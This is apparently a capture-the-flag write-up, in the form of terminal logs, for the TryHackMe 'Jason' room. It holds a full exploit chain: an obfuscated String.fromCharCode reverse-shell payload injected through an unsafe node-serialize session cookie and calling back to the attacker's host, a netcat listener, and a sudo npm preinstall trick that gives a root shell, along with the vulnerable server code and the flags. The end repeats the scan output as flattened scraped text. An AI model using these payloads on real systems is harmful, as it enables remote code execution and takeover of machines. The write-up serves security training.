Jason

Start Machine

We are Horror LLC, we specialize in horror, but one of the scarier aspects of our company is our front-end webserver. We can't launch our site in its current state and our level of concern regarding our cybersecurity is growing exponentially. We ask that you perform a thorough penetration test and try to compromise the root account. There are no rules for this engagement. Good luck!

Thanks to @Luma for testing the room.

Note: This box was part of a competition in which 12 one-month subscription vouchers (kindly donated by @RobertArthurBT) were given away. The winners have been chosen at random from the list of users without a subscription who completed this room before 9PM BST on the 11th of October, 2021.

The competition is now over. The results have been announced in the TryHackMe Discord Server.

Answer the questions below

┌──(kali㉿kali)-[~]
└─$ rustscan -a 10.10.72.52 --ulimit 5500 -b 65535 -- -A -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
Open 10.10.72.52:22
Open 10.10.72.52:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-30 19:35 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 19:35
Completed Parallel DNS resolution of 1 host. at 19:35, 0.01s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 19:35
Scanning 10.10.72.52 [2 ports]
Discovered open port 22/tcp on 10.10.72.52
Discovered open port 80/tcp on 10.10.72.52
Completed Connect Scan at 19:35, 0.19s elapsed (2 total ports)
Initiating Service scan at 19:35
Scanning 2 services on 10.10.72.52
Completed Service scan at 19:35, 26.88s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.72.52.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 6.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 0.49s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 0.00s elapsed
Nmap scan report for 10.10.72.52
Host is up, received user-set (0.19s latency).
Scanned at 2022-12-30 19:35:04 EST for 34s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5b2d9d60a745de7a99203e4294ce193c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEav+HAGw7xuVSR7QKeKvPc2ZpLfgIJ2azj8wt8S3VdC0yPI5cgFTwrdyZ/b9nHwZb2ibA2Ld12zn4zObnoRLU05emZ0qSpyssEN6+xF2E9SSbe9o79UuJX7KoCAc4oKHdL6vme9Gt1NpmL7UVXaK8LG0wMJ0PAi90NPSp6yCqX+Zh3ox5/ozOw6J0fVWJhq+OpMq3uRdh4C4XQF5ZAN+Yf9uGy5er+VOCOt2Gio2Y+4O2VmQa+d16qJXziOV3tCwronfd8C2FXvbGWNjKnEpn7qmf5TFW7DmOs6lbvhNSqNImKHYPKeMJHDj/0MyjXMHrmYSMvQ/jHsdi1e8wUz4tIOkjrVkEy1BF6rJ20e0mdsJOnk4CrGqbNCvPoCCV0Sn4+IeOsDTqmXjzI6oVZZ/mEJM0p+AxC+a8NUU7IRtDOXQH9bl2/g5N0n3UfpGjz+gmQxQMhcziZobRVUY8b+6TneDi4WLD889XWh0kemP8srXb/BR/DUsCvXJvAZ1gDbU=
|   256 bf32780183af785ee7fe9c834a7daa6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWImj6zzJJnO+2iTNXciJVkpCVcDC82aeGnvA3GVC4G1J7mwk1TYrRemrCBlwhm+BUzvs0q2qKk/9VCh1+kKlA=
|   256 12ab1380e5ad7307c848d5ca7c7de0af (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEIOgTDXXq96o6fNCrn3mQ8JpGFHhx6AtZGEOG4Z+oF
80/tcp open  http    syn-ack
|_http-title: Horror LLC
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Sat, 31 Dec 2022 00:35:11 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|     background-posi
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Sat, 31 Dec 2022 00:35:12 GMT
|     Connection: close
|     <html><head>
|     <title>Horror LLC</title>
|     <style>
|     body {
|     background: linear-gradient(253deg, #4a040d, #3b0b54, #3a343b);
|     background-size: 300% 300%;
|     -webkit-animation: Background 10s ease infinite;
|     -moz-animation: Background 10s ease infinite;
|     animation: Background 10s ease infinite;
|     @-webkit-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @-moz-keyframes Background {
|     background-position: 0% 50%
|     background-position: 100% 50%
|     100% {
|     background-position: 0% 50%
|     @keyframes Background {
|     background-position: 0% 50%
|_    background-posi
|_http-favicon: Unknown favicon MD5: 8FCEA7DE73B9ED47DE799DB3AE6363A8
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=12/30%Time=63AF83BF%P=x86_64-pc-linux-gnu%r(Get
SF:Request,E4B,"HTTP/1\.1\x20200\x20OK\r\nContent-Type:\x20text/html\r\nDa
SF:te:\x20Sat,\x2031\x20Dec\x202022\x2000:35:11\x20GMT\r\nConnection:\x20c
SF:lose\r\n\r\n<html><head>\n<title>Horror\x20LLC</title>\n<style>\n\x20\x
SF:20body\x20{\n\x20\x20\x20\x20background:\x20linear-gradient\(253deg,\x2
SF:0#4a040d,\x20#3b0b54,\x20#3a343b\);\n\x20\x20\x20\x20background-size:\x
SF:20300%\x20300%;\n\x20\x20\x20\x20-webkit-animation:\x20Background\x2010
SF:s\x20ease\x20infinite;\n\x20\x20\x20\x20-moz-animation:\x20Background\x
SF:2010s\x20ease\x20infinite;\n\x20\x20\x20\x20animation:\x20Background\x2
SF:010s\x20ease\x20infinite;\n\x20\x20}\n\x20\x20\n\x20\x20@-webkit-keyfra
SF:mes\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x
SF:20background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2
SF:050%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x20100%\x2050%\
SF:n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x20{\n\x20\x20\x20\x20\x20\x20
SF:background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20}\n\x20\x
SF:20\n\x20\x20@-moz-keyframes\x20Background\x20{\n\x20\x20\x20\x200%\x20{
SF:\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x20\x
SF:20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-p
SF:osition:\x20100%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%\x20{\n
SF:\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\x20\x20
SF:\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@keyframes\x20Background\x20{\n\x20
SF:\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%
SF:\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\
SF:x20\x20background-posi")%r(HTTPOptions,E4B,"HTTP/1\.1\x20200\x20OK\r\nC
SF:ontent-Type:\x20text/html\r\nDate:\x20Sat,\x2031\x20Dec\x202022\x2000:3
SF:5:12\x20GMT\r\nConnection:\x20close\r\n\r\n<html><head>\n<title>Horror\
SF:x20LLC</title>\n<style>\n\x20\x20body\x20{\n\x20\x20\x20\x20background:
SF:\x20linear-gradient\(253deg,\x20#4a040d,\x20#3b0b54,\x20#3a343b\);\n\x2
SF:0\x20\x20\x20background-size:\x20300%\x20300%;\n\x20\x20\x20\x20-webkit
SF:-animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20\x20\x20
SF:-moz-animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20\x20
SF:\x20animation:\x20Background\x2010s\x20ease\x20infinite;\n\x20\x20}\n\x
SF:20\x20\n\x20\x20@-webkit-keyframes\x20Background\x20{\n\x20\x20\x20\x20
SF:0%\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x2
SF:0\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\x20\x20\x20\x20\x20backg
SF:round-position:\x20100%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x20100%
SF:\x20{\n\x20\x20\x20\x20\x20\x20background-position:\x200%\x2050%\n\x20\
SF:x20\x20\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@-moz-keyframes\x20Backgroun
SF:d\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x20\x20background-pos
SF:ition:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20\x2050%\x20{\n\x20\
SF:x20\x20\x20\x20\x20background-position:\x20100%\x2050%\n\x20\x20\x20\x2
SF:0}\n\x20\x20\x20\x20100%\x20{\n\x20\x20\x20\x20\x20\x20background-posit
SF:ion:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20}\n\x20\x20\n\x20\x20@key
SF:frames\x20Background\x20{\n\x20\x20\x20\x200%\x20{\n\x20\x20\x20\x20\x2
SF:0\x20background-position:\x200%\x2050%\n\x20\x20\x20\x20}\n\x20\x20\x20
SF:\x2050%\x20{\n\x20\x20\x20\x20\x20\x20background-posi");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:35
Completed NSE at 19:35, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.62 seconds


┌──(kali㉿kali)-[~]
└─$ curl -I https://hackerone.com
HTTP/2 302 
date: Sat, 31 Dec 2022 00:48:10 GMT
content-type: text/html; charset=utf-8
location: https://www.hackerone.com/
cache-control: no-store
content-disposition: inline; filename="response."

┌──(kali㉿kali)-[~]
└─$ curl -X POST 10.10.72.52/?email=witty -I
HTTP/1.1 200 OK
Set-Cookie: session=eyJlbWFpbCI6IndpdHR5In0=; Max-Age=900000; HttpOnly, Secure
Content-Type: text/html
Date: Sat, 31 Dec 2022 00:50:35 GMT
Connection: keep-alive
Transfer-Encoding: chunked

┌──(kali㉿kali)-[~]
└─$ echo eyJlbWFpbCI6IndpdHR5In0= | base64 -d                                        
{"email":"witty"

┌──(kali㉿kali)-[~]
└─$ cd Node.Js-Security-Course              
                                                                                                              
┌──(kali㉿kali)-[~/Node.Js-Security-Course]
└─$ ls
'command execution.js'   eval.js           hpp.js          nodejsshell.py   redos.js
 deserialization.js      fs.js             LICENSE         node-mongo.js    simple_server.js
 dir_traversal.js        global_scope.js   njsscan.sarif   README.md
                                                                                                              
┌──(kali㉿kali)-[~/Node.Js-Security-Course]
└─$ python2 nodejsshell.py 10.8.19.103 4444                                                               
[+] LHOST = 10.8.19.103
[+] LPORT = 4444
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,56,46,49,57,46,49,48,51,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))


{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,56,46,49,57,46,49,48,51,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

and finally will be

_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,56,46,49,57,46,49,48,51,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()

revshell

┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lnvp 4444       
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.72.52.
Ncat: Connection from 10.10.72.52:58378.
Connected!
whoami
dylan
export TERM=xterm;export SHELL=bash;python3 -c 'import pty;pty.spawn("/bin/bash")'
dylan@jason:/opt/webapp$ 
dylan@jason:~$ cat user.txt  
cat user.txt
0ba48780dee9f5677a4461f588af217c

dylan@jason:~$ sudo -l
sudo -l
Matching Defaults entries for dylan on jason:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dylan may run the following commands on jason:
    (ALL) NOPASSWD: /usr/bin/npm *

dylan@jason:~$ TF=$(mktemp -d)TF=$(mktemp -d)
TF=$(mktemp -d)
dylan@jason:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
dylan@jason:~$ chmod 777 $TF  
chmod 777 $TF
dylan@jason:~$ sudo -u root /usr/bin/npm -C $TF --unsafe-perm i
sudo -u root /usr/bin/npm -C $TF --unsafe-perm i

> @ preinstall /tmp/tmp.8AwKQREFcm
> /bin/sh

# whoami
whoami
root
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
2cd5a9fd3a0024bfa98d01d69241760e



# cd /opt/webapp
cd /opt/webapp
# ls
ls
index.html  node_modules  package.json  package-lock.json  server.js
# cat server.js
cat server.js
var http = require('http')
var fs = require('fs');
var serialize = require('node-serialize');
var url = require('url');
var xssFilters = require('xss-filters');

http.createServer(onRequest).listen(80);
console.log('Server has started');

let $ = require('cheerio').load(fs.readFileSync('index.html'));


function onRequest(request, response){
        if(request.url == "/" && request.method == 'GET'){
                if(request.headers.cookie){
                        var cookie = request.headers.cookie.split('=');
                        if(cookie[0] == "session"){
                                var str = new Buffer(cookie[1], 'base64').toString();
                                var obj = {"email": "guest"};
                                try {
                                        obj = serialize.unserialize(str);
                                }
                                catch (exception) {
                                        console.log(exception);
                                }
                                var email = xssFilters.inHTMLData(obj.email).substring(0,20);
                                $('h3').replaceWith(`<h3>We'll keep you updated at: ${email}</h3>`);
                        }
                }else{
                        $('h3').replaceWith(`<h3>Coming soon! Please sign up to our newsletter to receive updates.</h3>`);
                }
        }else if(request.url.includes("?email=") && request.method == 'POST'){
                console.log("POSTED email!");
                var qryObj = url.parse(request.url,true).query;
                var email = qryObj.email;
                var data = `{"email":"${email}"}`;
                var data64 = new Buffer(data).toString('base64');
                response.setHeader('Set-Cookie','session='+data64+'; Max-Age=900000; HttpOnly, Secure');
        }
        response.writeHeader(200, {"Content-Type": "text/html"});  
        response.write($.html());
        response.end();
}

var str = new Buffer(cookie[1], 'base64').toString();
                                var obj = {"email": "guest"};
                                try {
                                        obj = serialize.unserialize(str);
                                }

En resumen, este fragmento de código se utiliza para deserializar una cadena de caracteres codificada en Base64 utilizando el módulo "Buffer" y la función "serialize.unserialize". Si la deserialización es exitosa, se asigna el resultado a la variable "obj", de lo contrario se mantiene el valor de "obj" como un objeto literal con la clave "email" y el valor "guest".

┌──(kali㉿kali)-[~/Node.Js-Security-Course]
└─$ curl -X POST 10.10.72.52/?email='<script>alert(hi)</script>' -I
HTTP/1.1 200 OK
Set-Cookie: session=eyJlbWFpbCI6IjxzY3JpcHQ+YWxlcnQoaGkpPC9zY3JpcHQ+In0=; Max-Age=900000; HttpOnly, Secure
Content-Type: text/html
Date: Sat, 31 Dec 2022 01:18:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

┌──(kali㉿kali)-[~/Node.Js-Security-Course]
└─$ echo eyJlbWFpbCI6IjxzY3JpcHQ+Y

user.txt

0ba48780dee9f5677a4461f588af217c

root.txt

2cd5a9fd3a0024bfa98d01d69241760e

[[VulnNet Roasted]]

PreviousAtlassian, CVE 2022 26134 NextVulnNet: Roasted

Last updated 1 year ago

┌──(kali㉿kali)-[~] └─$ rustscan -a 10.10.72.52 --ulimit 5500 -b 65535 -- -A -Pn .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- Real hackers hack time ⌛ [~] The config file is expected to be at "/home/kali/.rustscan.toml" [~] Automatically increasing ulimit value to 5500. [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers Open 10.10.72.52:22 Open 10.10.72.52:80 [~] Starting Script(s) [>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}") Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. [~] Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-30 19:35 EST NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 0.00s elapsed Initiating Parallel DNS resolution of 1 host. at 19:35 Completed Parallel DNS resolution of 1 host. at 19:35, 0.01s elapsed DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating Connect Scan at 19:35 Scanning 10.10.72.52 [2 ports] Discovered open port 22/tcp on 10.10.72.52 Discovered open port 80/tcp on 10.10.72.52 Completed Connect Scan at 19:35, 0.19s elapsed (2 total ports) Initiating Service scan at 19:35 Scanning 2 services on 10.10.72.52 Completed Service scan at 19:35, 26.88s elapsed (2 services on 1 host) NSE: Script scanning 10.10.72.52. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 6.26s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 0.49s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:35 Completed NSE at 19:35, 0.00s elapsed Nmap scan report for 10.10.72.52 Host is up, received user-set (0.19s latency). Scanned at 2022-12-30 19:35:04 EST for 34s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 5b2d9d60a745de7a99203e4294ce193c (RSA) | ssh-rsa 